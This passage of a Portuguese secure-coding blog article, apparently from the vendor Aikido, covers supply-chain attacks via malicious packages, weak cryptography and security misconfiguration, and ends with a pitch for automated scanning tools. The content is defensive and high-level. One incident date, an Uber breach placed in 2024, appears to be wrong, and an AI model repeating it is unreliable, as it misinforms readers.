Outros exemplos: o pacote npm event-stream foi comprometido em 2018 para roubar chaves de carteiras Bitcoin de um aplicativo específico. Em 2021, o PyPI sofreu uma série de ataques de typosquatting, nos quais os invasores carregaram pacotes com nomes semelhantes aos populares (por exemplo, urlib3 em vez de urllib3) contendo backdoors. Qualquer pessoa que digitasse o nome incorretamente instalava o pacote malicioso. Até mesmo ferramentas de infraestrutura foram afetadas – imagens do Docker Hub, extensões do VSCode, entre outras.
Impacto: Uma dependência maliciosa pode executar qualquer código com os mesmos privilégios que a sua aplicação. Isso significa que ela pode roubar os dados da sua aplicação, extrair secrets chaves API, credenciais de base de dados) do seu ambiente, instalar backdoors ou pivotar para atacar outros sistemas. ataques à Supply chain viram o modelo de confiança contra nós: confiamos que os pacotes de código aberto são benignos, por isso os incluímos livremente. Quando essa confiança é traída, o impacto pode ser generalizado e muito difícil de detetar (quantos programadores inspecionam cada linha de código nos seus node_modules? Nenhum). A escala é o que torna isso tão perigoso: comprometa um pacote popular e poderá violar milhares de aplicações a jusante de uma só vez.
Prevenção: Defender-se contra dependências maliciosas é um desafio, mas existem práticas recomendadas:
- Fixar e verificar versões: não atualize automaticamente as suas dependências para a versão mais recente sem antes fazer uma revisão. Use ficheiros de bloqueio ou fixações explícitas de versão para que uma atualização maliciosa repentina não seja instalada automaticamente. Quando uma nova versão de uma dependência crítica for lançada, dê uma olhada no changelog ou diff, se possível, especialmente se for um pacote de alto impacto.
- Use recursos de integridade de pacotes: gerenciadores de pacotes como npm e PyPI oferecem suporte à verificação de assinaturas ou checksums de pacotes. Para o npm, você obtém um hash de integridade SHA-512 no arquivo de bloqueio – a chance de um invasor produzir uma colisão de hash é insignificante, o que garante que você esteja instalando exatamente o que pensa que está instalando. Alguns ecossistemas têm pacotes assinados – se disponível, use esse recurso.
- Avisos de monitorização: avisos de segurança e ferramentas de monitorização proativas podem sinalizar se um pacote está comprometido. Em alguns incidentes graves, os alertas foram emitidos muito rapidamente. Projetos e plataformas mantêm feeds de ameaças para pacotes maliciosos, que podem alertá-lo ou bloquear a instalação de pacotes conhecidos como maliciosos.
- Privilégio mínimo e sandboxing: considere executar compilações ou instalações de pacotes em ambientes isolados. Se um pacote malicioso for executado, ele causará menos danos em uma sandbox ou num container permissões limitadas. Além disso, durante a execução, tente executar a sua aplicação com o mínimo de privilégios necessários, para que, se uma biblioteca se tornar maliciosa, ela tenha acesso mínimo (por exemplo, não execute a sua aplicação Node.js como root no servidor).
- Audite o código, se possível: isso é difícil em grande escala, mas para dependências muito cruciais, pode valer a pena fazer uma auditoria rápida do código ou usar ferramentas automatizadas que analisam o comportamento do pacote. Algumas ferramentas tentam detectar se uma atualização de repente começa a interromper as ligações de rede ou a ler variáveis de ambiente de forma suspeita.
Em resumo, mantenha-se vigilante em relação à sua cadeia de suprimentos. A comunidade está a desenvolver mais ferramentas para combater isso (o npm agora tem 2FA para mantenedores, etc.), mas, em última análise, como consumidor de pacotes, você precisa ficar atento ao que traz para a sua aplicação. Usar uma solução automatizada para verificar se há malware nas dependências pode fornecer uma camada extra de defesa, detectando códigos maliciosos antes que eles o afetem.
9. Práticas de criptografia fracas
Mesmo quando os programadores tentam proteger os dados, a forma como o fazem é importante. O uso incorreto da criptografia pode dar uma falsa sensação de segurança. As armadilhas comuns incluem o uso de algoritmos desatualizados ou fracos, o gerenciamento incorreto de chaves ou a implementação manual de protocolos de criptografia (e erros nessa implementação). Esses erros nem sempre levam a um CVE óbvio, mas comprometem as proteções que pretendia implementar.
Alguns exemplos:
- Hash fraco para palavras-passe: armazenar palavras-passe usando um hash rápido como MD5 ou SHA-1 (ou pior, sem sal) é perigoso. Hashes rápidos podem ser quebrados por força bruta ou tabelas rainbow muito rapidamente com hardware moderno. Houve muitas violações em que as empresas hashearam senhas, mas ainda assim foram prejudicadas porque os invasores quebraram esses hashes. É por isso que o padrão da indústria é usar hashing lento e computacionalmente intensivo (bcrypt, scrypt, Argon2) com salts.
- Chaves criptográficas codificadas ou reutilizadas: já vimos programadores a comprometer chaves secretas JWT, secrets HMAC de API ou chaves de encriptação em repositórios públicos (isso se sobrepõe à secrets ). Se um invasor obtiver a sua chave simétrica, poderá falsificar tokens ou desencriptar dados à vontade. Da mesma forma, reutilizar a mesma chave em diferentes ambientes ou usar chaves padrão (algumas estruturas costumavam vir com um segredo JWT padrão para o modo de desenvolvimento que as pessoas se esqueciam de alterar) pode levar a comprometer a segurança.
- Aleatoriedade insegura: Utilização de geradores aleatórios não criptograficamente seguros para tokens sensíveis à segurança. Por exemplo, utilizar
Math.random()em JavaScript para gerar um token de redefinição de palavra-passe – que é previsível o suficiente para ser quebrado por força bruta. Já houve CVEs em linguagens por geração inadequada de números aleatórios, mas, na maioria das vezes, é o programador que não percebe que precisa de algo comocrypto.randomBytesouSecureRandom. - Criptografia e protocolos personalizados: “Não crie sua própria criptografia” é um ditado antigo. Implementar seu próprio algoritmo ou protocolo de criptografia provavelmente introduzirá falhas. Por exemplo, um programador pode decidir criptografar dados com AES, mas usar o modo ECB (que é inseguro porque não randomiza blocos idênticos) — esse padrão apareceu em algumas bibliotecas de criptografia desenvolvidas internamente e levou à divulgação de informações. Outro exemplo: não verificar assinaturas adequadamente (por exemplo, não verificar a cadeia de certificados em uma conexão SSL/TLS, desativando efetivamente a validação – o que levou a vulnerabilidades de man-in-the-middle em alguns aplicativos).
Impacto: criptografia fraca pode resultar em violações de dados e contornamento de autenticação. Se as senhas forem facilmente quebradas, uma violação do seu banco de dados de senhas com hash significa que os invasores obterão uma grande porcentagem das senhas reais. Se os tokens ou cookies forem assinados com uma chave fraca (ou nenhuma), os invasores podem falsificar esses tokens para se passar por utilizadores (foi assim que funcionou o fiasco do JWT «alg:none» – que basicamente significava «sem assinatura»). Se a criptografia for feita de forma incorreta, os invasores podem descriptografar dados confidenciais ou adulterá-los sem serem notados. Essencialmente, você pensa que os seus dados estão seguros, mas não estão – e isso pode ser catastrófico, porque você pode não implementar outras proteções, assumindo que a criptografia o protege.
Prevenção: Siga rigorosamente as melhores práticas e normas estabelecidas:
- Use bibliotecas comprovadas para criptografia em vez de escrever as suas próprias. Use os protocolos mais recentes (TLS 1.3 em vez de TLS 1.0, JWT com algoritmos fortes ou, melhor ainda, tokens opacos com armazenamento no lado do servidor, se possível, etc.).
- Escolha algoritmos e modos fortes: AES-GCM ou ChaCha20-Poly1305 para encriptação, RSA ECDSA com comprimentos de chave adequados para assinaturas, PBKDF2/bcrypt/Argon2 para hash de palavras-passe, etc. Evite algoritmos obsoletos (MD5, SHA-1, DES, RC4, etc.).
- Gerencie as chaves com segurança: não as codifique (novamente, gerenciamento de segredos), alterne as chaves periodicamente e use chaves separadas para finalidades distintas. Se estiver usando JWTs, certifique-se de que o segredo ou a chave de assinatura seja suficientemente complexo e armazenado com segurança.
- Para valores aleatórios (chaves API, tokens, nonces), use geradores aleatórios criptograficamente seguros. Na maioria das linguagens, isso é uma função específica: por exemplo, crypto.randomBytes no Node, System.Security.Cryptography.RandomNumberGenerator no .NET, java.security.SecureRandom no Java (com uma boa fonte).
- Ao usar bibliotecas criptográficas, leia a documentação sobre o uso adequado. Muitos erros resultam do uso incorreto. Por exemplo, se estiver a usar PyCrypto ou o pacote criptográfico do Go, certifique-se de fornecer um IV exclusivo para cada chamada de criptografia, não reutilize nonces, etc. Muitas bibliotecas têm padrões seguros, mas nem todas.
- Teste e revisão: inclua testes que garantam, por exemplo, que não é possível quebrar facilmente uma palavra-passe com hash ou que os dados encriptados não possam ser adulterados. Considere a utilização de ferramentas como crypto linters ou analisadores que podem sinalizar algoritmos fracos. Existem regras de análise estática para detetar o uso de MD5 ou IVs constantes, por exemplo. A verificação Aikidopode detetar alguns padrões de uso de criptografia fracos (como o uso de funções hash inseguras) e alertá-lo sobre eles para que possa atualizar para alternativas mais seguras.
Em suma, uma criptografia forte é sua aliada, mas apenas se usada corretamente. Aproveite as implementações e configurações aprovadas pela comunidade. Em caso de dúvida, consulte especialistas em segurança ou recursos para obter a abordagem correta, em vez de adivinhar. Um pouco mais de tempo gasto para acertar a criptografia pode poupá-lo de uma grande violação no futuro.
10. Configurações de segurança incorretas e padrões inseguros
Nem todas as vulnerabilidades provêm da lógica do código; por vezes, é a forma como a aplicação está configurada (ou mal configurada) que abre uma brecha. configuração de segurança incorreta é uma categoria ampla, mas no contexto do código, estamos a falar de coisas como deixar os modos de depuração ativados, usar credenciais padrão ou configurações de amostra, mensagens de erro detalhadas que revelam informações ou não configurar cabeçalhos de segurança. Muitas vezes, são simples descuidos que podem ter consequências graves.
Exemplos:
- Deixar o modo de depuração ativado: muitas estruturas (Django, Flask, Rails, etc.) têm um modo de depuração/desenvolvimento que nunca deve ser ativado em produção. No modo de depuração, as estruturas geralmente fornecem páginas de erro ricas e até consolas interativas. Por exemplo, o depurador Werkzeug no Flask permite executar código Python arbitrário através do navegador – ótimo para desenvolvimento, mas se for deixado ativado em produção (e se um invasor puder aceder a ele), é um RCE instantâneo. Houve casos em que aplicações Flask mal configuradas ficaram expostas à Internet com o modo de depuração ativado, e os invasores facilmente assumiram o controlo do servidor. (Esta questão é tão conhecida que as estruturas exibem grandes avisos, mas ainda assim acontece ocasionalmente.)
- Credenciais/configurações padrão: exemplos incluem deixar a palavra-passe de administrador padrão como «admin» ou não alterar as chaves API padrão. No código, talvez tenha usado um tutorial que tinha um segredo JWT de amostra «secret123» e nunca o alterou – oops, isso significa que qualquer pessoa poderia falsificar tokens. Ou um SDK de armazenamento em nuvem pode ter como padrão um determinado nome de bucket ou regra de acesso que não foi substituído, deixando inadvertidamente algo público.
- Mensagens de erro detalhadas e rastreamentos de pilha: se a sua aplicação mostrar rastreamentos de pilha completos ou dumps de erro ao utilizador, um invasor poderá obter muitas informações (versões de software, caminhos internos, estruturas de consulta). Essas informações podem facilitar outros ataques, como injeção de SQL (conhecendo a estrutura da consulta a partir de uma mensagem de erro) ou identificando quais versões de biblioteca você usa.
- Cabeçalhos e configurações de segurança: Não configurar a sua aplicação web com cabeçalhos seguros (Content Security Policy, X-Frame-Options, HSTS, etc.) não é uma vulnerabilidade direta no seu código, mas não consegue mitigar certas classes de ataques. Da mesma forma, permitir que a sua aplicação seja executada em HTTP (sem redirecionar para HTTPS) ou não validar certificados TLS se o seu código fizer solicitações de saída pode ser considerado uma configuração incorreta que leva a explorações (como MITM).
- Permissões de ficheiros/diretórios e uploads: se a sua aplicação guarda ficheiros enviados pelos utilizadores num diretório acessível pela web sem qualquer verificação, um invasor pode enviar um script e acessá-lo diretamente através de uma URL – agora eles executaram efetivamente o código no seu servidor (é assim que muitas explorações PHP mais antigas funcionavam). Isso pode ser visto como uma configuração incorreta da aplicação (não impedir tipos de ficheiros perigosos e não isolar os uploads adequadamente).
Impacto: configurações incorretas podem levar a comprometimentos imediatos, assim como bugs de código. Por exemplo, uma interface administrativa deixada sem senha (isso acontece!) é basicamente uma porta aberta. Um console de depuração deixado ligado pode dar acesso ao shell a um invasor. Mensagens de erro detalhadas podem ajudar os invasores a encontrar uma injeção SQL ou um vetor XSS. Portanto, embora as configurações incorretas possam parecer "ah, é só uma configuração", elas podem ser tão perigosas quanto qualquer outra vulnerabilidade. A violação da Uber em 2024, por exemplo, teria começado com uma ferramenta administrativa exposta sem MFA (autenticação multifatorial) — isso é um problema de configuração incorreta de acesso.
Prevenção: A boa notícia é que as configurações incorretas geralmente são fáceis de corrigir, uma vez identificadas. Muitas vezes, basta manter uma lista de verificação de configurações reforçadas:
- Desative os modos de depuração/desenvolvimento na produção. Verifique novamente antes de implementar. Muitas estruturas permitem uma variável de ambiente ou sinalizador de configuração – certifique-se de que está definido corretamente. Pode até colocar uma asserção no código para recusar a execução se a depuração estiver ativada num ambiente não local.
- Altere todas as palavras-passe e secrets predefinidos. Isto é básico, mas deve ser enfatizado. Qualquer coisa que venha com uma credencial predefinida deve ser alterada na primeira instalação. Se utilizar qualquer tipo de código padrão ou modelo que tenha chaves ou palavras-passe de amostra, procure-as na sua base de código e substitua-as por valores seguros.
- Lide com os erros com elegância. Configure uma página de erro genérica para os utilizadores. Registe o erro detalhado internamente, mas não exponha os rastreamentos de pilha aos utilizadores finais. Além disso, considere quais informações os erros da sua API retornam – não divulgue coisas como consultas SQL completas ou caminhos de ficheiros do servidor.
- Aplique cabeçalhos de segurança e melhores práticas. Use bibliotecas ou middleware que definam cabeçalhos seguros (muitos frameworks têm um módulo de segurança que pode ser ativado). Imponha HTTPS e use HSTS para evitar o downgrade para HTTP. Se o seu aplicativo precisar permitir iframes ou cross-origin, configure-o deliberadamente; caso contrário, defina X-Frame-Options DENY, etc.
- Tratamento de upload de ficheiros: se a sua aplicação lida com uploads de ficheiros, armazene-os fora da raiz da web ou renomeie-os com extensões benignas. Valide os tipos de ficheiros. E certifique-se de que a conta em que a sua aplicação é executada tenha apenas as permissões de ficheiro realmente necessárias – contenha o raio de explosão.
- Configurações atualizadas da plataforma: mantenha o servidor da sua aplicação e as dependências atualizados para beneficiar de predefinições seguras. Por exemplo, as versões mais recentes das estruturas podem ativar uma segurança mais rigorosa por predefinição.
Implementar verificações automatizadas para configurações incorretas pode ajudar. Ferramentas como a plataforma Aikidopodem verificar a sua aplicação e infraestrutura em busca de padrões comuns de configuração incorreta, como procurar por «DEBUG = True» num ficheiro de configurações Python ou verificar se o seu site envia cabeçalhos de segurança. Essas verificações geralmente fazem parte de um conjunto de testes de segurança de aplicações.
Por fim, considere usar infraestrutura como código (IaC) e pipelines de devops para aplicar padrões de configuração. Se você contêinerizar a sua aplicação, por exemplo, pode programar o container falhar se determinadas variáveis de ambiente (como um sinalizador de depuração de produção) estiverem presentes. O segredo é não tratar a configuração de implementação como algo secundário – ela é parte integrante da segurança da sua aplicação.
Incorporando segurança ao seu pipeline de desenvolvimento
Abrimos um leque de tópicos – desde injeções clássicas e XSS até as nuances de ataques à Supply chain bugs de criptografia. Se há um tema comum, é que a codificação segura é um esforço contínuo. Erros acontecerão, novas vulnerabilidades surgirão nas suas dependências e os invasores continuarão procurando por essa única falha. A melhor maneira de se manter à frente é construir um processo de desenvolvimento resiliente que detecte problemas de forma precoce e contínua.
Isso significa adotar práticas como revisões de código com foco na segurança, atualizações regulares de dependências e integração de testes de segurança em CI/CD. Ferramentas automatizadas são suas aliadas nesse caso. Por exemplo, Testes de segurança de aplicações estáticas SAST) podem analisar o seu código à medida que o escreve, sinalizando padrões de risco (strings SQL, chamadas de funções perigosas) antes mesmo que sejam executados. Os scanners de dependências alertam-no no momento em que um novo CVE afeta uma biblioteca no seu repositório — o que é crucial quando as explorações são transformadas em armas em questão de horas. A verificação de segredos pode evitar aquele momento de «ops» ao enviar uma chave API para o GitHub. E as verificações container podem garantir que as suas configurações de implementação sejam reforçadas.
No Aikido, acreditamos em tornar isso fácil para os programadores. Adoramos ferramentas de código aberto como ESLint, Semgrep, Trivy, etc., mas também sabemos que encadear vários scanners pode se tornar uma dor de cabeça para as equipas de desenvolvimento. É por isso que plataformas como Aikido várias verificações de segurança (SAST, SCA, secrets, IaC, container ) com regras personalizadas e recursos de correção automática – para que você obtenha uma cobertura abrangente com uma boa experiência de programador. O objetivo é revelar vulnerabilidades reais com contexto completo e até mesmo fornecer correções ou orientações automatizadas, diretamente no seu fluxo de trabalho. Por exemplo, se Aikido uma biblioteca vulnerável, ele pode sugerir a versão segura para atualizar (e fazer isso por si). Se encontrar um segredo, ele pode ajudá-lo a rodá-lo e evitar a recorrência. Isso reduz a carga sobre os programadores de se tornarem especialistas em segurança em cada vulnerabilidade — as ferramentas auxiliam e você aprende à medida que avança.
Como programador, você tem o poder de tornar o seu software mais seguro para todos. Comece por tratar os bugs de segurança com a mesma importância que os bugs funcionais. Incorpore as principais vulnerabilidades que discutimos nos seus casos de teste e modelos de ameaças. E não faça isso sozinho – aproveite as ferramentas e serviços de segurança que se integram ao seu IDE e CI. Pode começar executando uma verificação gratuita com Aikido plataformas semelhantes em um dos seus projetos para ver o que ele encontra. Muitas vezes, é revelador! Configure essas ferramentas para serem executadas em cada pull request, para que os problemas sejam detectados logo no início, quando são mais baratos de corrigir.
A codificação segura é uma jornada, não um destino. Mas, ao estar ciente desses tipos comuns de vulnerabilidades e usar proativamente as práticas e ferramentas certas, pode reduzir drasticamente o risco. Vamos enviar um código que não seja apenas incrível, mas seguro por definição. Os seus utilizadores (e o seu eu futuro) vão agradecer.
Continue a ler:
As 9 principais vulnerabilidades Container Docker
As 7 principais vulnerabilidades Cloud
As 10 principais vulnerabilidades de segurança de aplicações web que todas as equipas devem conhecer
As 9 principais segurança Kubernetes e configurações incorretas segurança Kubernetes
As 10 principais vulnerabilidades de segurança do Python que os programadores devem evitar
As principais vulnerabilidades de segurança do JavaScript em aplicações web modernas
As 9 principais segurança da supply chain de software explicadas
Proteja seu software agora



